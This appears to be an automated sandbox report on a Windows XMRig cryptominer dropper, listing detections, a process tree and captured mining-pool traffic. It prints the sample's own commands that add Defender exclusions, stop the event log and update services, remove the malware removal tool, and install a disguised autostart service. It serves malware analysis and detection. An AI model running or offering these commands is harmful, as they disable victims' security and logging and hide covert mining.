Edit tour

Windows Analysis Report
gem2.exe

Overview

General Information

Sample name:	gem2.exe
Analysis ID:	1587388
MD5:	990a3f3b1273510f210fb9b541da219f
SHA1:	33e536c5b4bdb6f6042f93445dffd8a3ad488e8b
SHA256:	35a8d03f86ae6f92424d6424fe0805d338eccedff177b400182102685299022c
Tags:	exeJalapenomalwaretrojanuser-Joker
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

gem2.exe (PID: 7280 cmdline: "C:\Users\user\Desktop\gem2.exe" MD5: 990A3F3B1273510F210FB9B541DA219F)

powershell.exe (PID: 7292 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7564 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7656 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7572 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7672 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7720 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7768 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7808 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7848 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7856 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7864 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7872 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7888 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 564 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 640 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 924 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 992 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

sc.exe (PID: 7924 cmdline: C:\Windows\system32\sc.exe delete "GeekBrains" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8096 cmdline: C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8136 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8144 cmdline: C:\Windows\system32\sc.exe start "GeekBrains" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Lightshot.exe (PID: 6472 cmdline: C:\ProgramData\Screenshots\Lightshot.exe MD5: 990A3F3B1273510F210FB9B541DA219F)

powershell.exe (PID: 7092 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1020 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6488 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 4760 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2140 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5628 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7332 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7392 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7296 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7300 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7652 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7572 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7660 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 444 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 732 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1032 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1056 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dialer.exe (PID: 7724 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 7720 cmdline: dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
Process Memory Space: dialer.exe PID: 7720	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: dialer.exe PID: 7720	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x359f1:$a1: mining.set_target 0x3219a:$a2: XMRIG_HOSTNAME 0x32f12:$a3: Usage: xmrig [OPTIONS] 0x3217b:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
65.2.dialer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
65.2.dialer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
65.2.dialer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
65.2.dialer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 7280, ParentProcessName: gem2.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7848, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 7280, ParentProcessName: gem2.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7292, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 7888, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 924, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 7280, ParentProcessName: gem2.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto", ProcessId: 8096, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 7280, ParentProcessName: gem2.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7292, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 7280, ParentProcessName: gem2.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 8136, ProcessName: sc.exe

Suricata Signatures

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T10:16:08.375586+0100	2047928	2	Crypto Currency Mining Activity Detected	192.168.2.5	60174	1.1.1.1	53	UDP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T10:15:53.890023+0100	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.5	49704	141.94.96.144	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Screenshots\Lightshot.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: gem2.exe	Virustotal: Detection: 62%			Perma Link
Source: gem2.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dialer.exe PID: 7720, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 141.94.96.144:80 payload: data raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 36 4d 33 39 44 4d 31 44 51 6a 46 4b 55 6e 54 33 74 32 4b 69 48 4e 55 36 71 51 6a 6d 52 46 37 39 4a 33 31 66 53 62 74 42 4e 61 66 55 58 39 42 32 67 41 77 79 73 6a 4c 46 41 44 51 35 6d 68 71 52 34 4d 36 43 38 4a 4a 52 46 58 77 4c 50 78 44 48 61 70 75 43 72 48 45 33 6d 52 42 6a 54 77 22 2c 22 70 61 73 73 22 3a 22 55 6c 74 69 6d 61 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 39 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 69 67 69 64 22 3a 22 22 2c 22 61 6c 67 6f 22 3a 5b 22 72 78 2f 30 22 2c 22 63 6e 2f 32 22 2c 22 63 6e 2f 72 22 2c 22 63 6e 2f 66 61 73 74 22 2c 22 63 6e 2f 68 61 6c 66 22 2c 22 63 6e 2f 78 61 6f 22 2c 22 63 6e 2f 72 74 6f 22 2c 22 63 6e 2f 72 77 7a 22 2c 22 63 6e 2f 7a 6c 73 22 2c 22 63 6e 2f 64 6f 75 62 6c 65 22 2c 22 63 6e 2f 63 63 78 22 2c 22 63 6e 2d 6c 69 74 65 2f 31 22 2c 22 63 6e 2d 68 65 61 76 79 2f 30 22 2c 22 63 6e 2d 68 65 61 76 79 2f 74 75 62 65 22 2c 22 63 6e 2d 68 65 61 76 79 2f 78 68 76 22 2c 22 63 6e 2d 70 69 63 6f 22 2c 22 63 6e 2d 70 69 63 6f 2f 74 6c 6f 22 2c 22 63 6e 2f 75 70 78 32 22 2c 22 63 6e 2f 67 70 75 22 2c 22 63 6e 2f 31 22 2c 22 72 78 2f 77 6f 77 22 2c 22 72 78 2f 61 72 71 22 2c 22 72 78 2f 67 72 61 66 74 22 2c 22 72 78 2f 73 66 78 22 2c 22 72 78 2f 6b 65 76 61 22 2c 22 70 61 6e 74 68 65 72 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 76 32 22 2c 22 61 72 67 6f 6e 32 2f 6e 69 6e 6a 61 22 2c 22 67 68 6f 73 74 72 69 64 65 72 22 5d 7d 7d 0a data ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46m39dm1dqjfkunt3t2kihnu6qqjmrf79j31fsbtbnafux9b2gawysjlfadq5mhqr4m6c8jjrfxwlpxdhapucrhe3mrbjtw","pass":"ultima","agent":"xmrig/6.19.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","panthera","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}

Found strings related to Crypto-Mining

Source: dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe	String found in binary or memory: cryptonight-monerov7
Source: dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: gem2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Lightshot.exe, 00000025.00000003.2127811419.000002683F580000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E85898DCE0 FindFirstFileExW,	29_2_000001E85898DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE86DCE0 FindFirstFileExW,	36_2_00000140AE86DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5CDCE0 FindFirstFileExW,	40_2_00000195DD5CDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBEDCE0 FindFirstFileExW,	41_2_000001160CBEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10ADCE0 FindFirstFileExW,	66_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C93DCE0 FindFirstFileExW,	67_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9854DCE0 FindFirstFileExW,	68_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26531DCE0 FindFirstFileExW,	69_2_000001D26531DCE0

Source: global traffic	TCP traffic: 192.168.2.5:50294 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:56302 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 141.94.96.144 141.94.96.144

Source: Joe Sandbox View

ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese

